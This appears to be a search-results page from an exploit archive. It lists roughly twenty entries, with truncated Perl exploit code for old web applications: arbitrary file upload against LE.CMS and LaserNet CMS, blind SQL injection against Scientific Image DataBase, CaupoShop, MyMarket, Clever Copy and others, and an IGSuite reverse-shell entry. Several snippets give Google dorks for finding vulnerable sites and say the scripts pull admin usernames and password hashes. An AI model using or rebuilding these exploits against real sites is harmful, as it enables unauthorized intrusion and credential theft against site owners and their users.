1850 matches found
LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - LE.CMS = 1.4 Remote Arbitrary File Upload Exploit - - - - - - Discovered && Coded By: t0pP8uZz - -...
LaserNet CMS <= 1.5 Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LaserNet CMS = 1.5 Arbitrary File Upload Exploit + + + + Discovered && Coded By: t0pP8uZz + + Discovered...
Scientific Image DataBase <= 0.41 Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print INFO; heredocs is ugly.. so is my INFO ;...
IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection
!/usr/bin/perl 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - ksOSe 05/21/2008 - Vendor notified 05/23/2008 - A patch was pushed via the igsuited daemonnot enabled by default Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta. Tested on IGSuite 3.2.4 on linux with MySQL, needs ncin pat...
LE.CMS 1.4 - Arbitrary File Upload
LE.CMS 1.4 - Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "\nEnter Local File Path To Uploadie: C:\file.txt: "; chompmy $file=; my $ext = substr $file, rindex $file, '.'; my $fname = int rand 9999; my $ua =...
LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit
Exploit for unknown platform in category web applications ================================================== LE.CMS ; print "\nEnter Local File Path To Uploadie: C:\file.txt: "; chompmy $file=; my $ext = substr $file, rindex $file, '.'; my $fname = int rand 9999; my $ua = LWP::UserAgent-new agent...
Scientific Image DataBase 0.41 - Blind SQL Injection
Scientific Image DataBase 0.41 - Blind SQL Injection !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print ; my $substr, $done, $chr,...
LaserNet CMS 1.5 - Arbitrary File Upload
LaserNet CMS 1.5 - Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...
Scientific Image DataBase <= 0.41 Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print INFO; heredocs is ugly.. so is my INFO ;...
Scientific Image DataBase 0.41 - Blind SQL Injection
!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; Download: http://sidb.sourceforge.net/ Dork: "Scientific Image DataBase" This exploit retrives the admin username/password via blind mysql injection. print ; my $substr, $done, $chr, $res = 1, 1, 48, ""; my $ua = LWP::UserAgent-new agen...
LE.CMS 1.4 - Arbitrary File Upload
!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "\nEnter Local File Path To Uploadie: C:\file.txt: "; chompmy $file=; my $ext = substr $file, rindex $file, '.'; my $fname = int rand 9999; my $ua = LWP::UserAgent-new agent = 'Mozilla/4.0...
CaupoShop Classic 1.3 (saArticle[ID]) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ======================================================================== CaupoShop Classic 1.3 saArticleID Remote SQL Injection Vulnerability ======================================================================== !/usr/bin/perl CaupoShop...
CaupoShop Classic 1.3 - saArticle[ID] SQL Injection
CaupoShop Classic 1.3 - saArticleID SQL Injection !/usr/bin/perl CaupoShop Classic 1.3 Remote Exploit Bug by: h0yt3r Dork: inurl:cscarticledetails.php Couldnt find a stable dork for this specific Version. Exploit will only work on correct version. I found this long time ago but never actually...
CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection
!/usr/bin/perl CaupoShop Classic 1.3 Remote Exploit Bug by: h0yt3r Dork: inurl:cscarticledetails.php Couldnt find a stable dork for this specific Version. Exploit will only work on correct version. I found this long time ago but never actually shared it. As the userid's are a bit messy you will...
Comparison Engine Power 1.0 Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl useLWP::UserAgent; useGetopt::Long; if!$ARGV1 print"\n"; print"VIVAISLAMEVIVAISLAME\n"; print"VIVAISLAMEVIVAISLAME\n"; print"\n"; print"ComparisonEnginePower1.0BlindSQLInjectionExploit\n"; print"&...
Comparison Engine Power 1.0 Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ======================================================= Comparison Engine Power 1.0 Blind SQL Injection Exploit ======================================================= !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "...
diy-blindsql.txt
!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA ISlAME VIVA ISLAME \n"; print " VIVA ISlAME VIVA ISLAME \n"; print " \n"; print " DIY Blind SQL Injection Exploit indextopic did \n"; print " \n"; print " Author: Mr.SQL \n"; print " EMAIL : SQLHOTMAIL.IT \n"...
mymarket-blindsql.txt
!/usr/bin/perl MyMarket 1.72 Blind SQL Injection Exploit Bug by: h0yt3r Demo: http://mymarket.sourceforge.net/demo/shopping/ http://www.site.de/mymarket/shopping/?id=bluah Ok when we give $id an unexpected value like this we get an SQL Error. Union selecting seems not possible... Exploit needs a...
DIY (index_topic did ) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================== DIY indextopic did Blind SQL Injection Exploit ================================================== !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA...
Clever Copy 3.0 (results.php) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Clever Copy results.php Remote SQL Injection Exploit Bug by: h0yt3r Dork: "powered by Clever Copy" This simple Exploit will give you Admin Username and md5Password Pls don't use this to crack sites :P Gr33tz go to: thund3r, ramon, b!zZ!t, Free-Hac...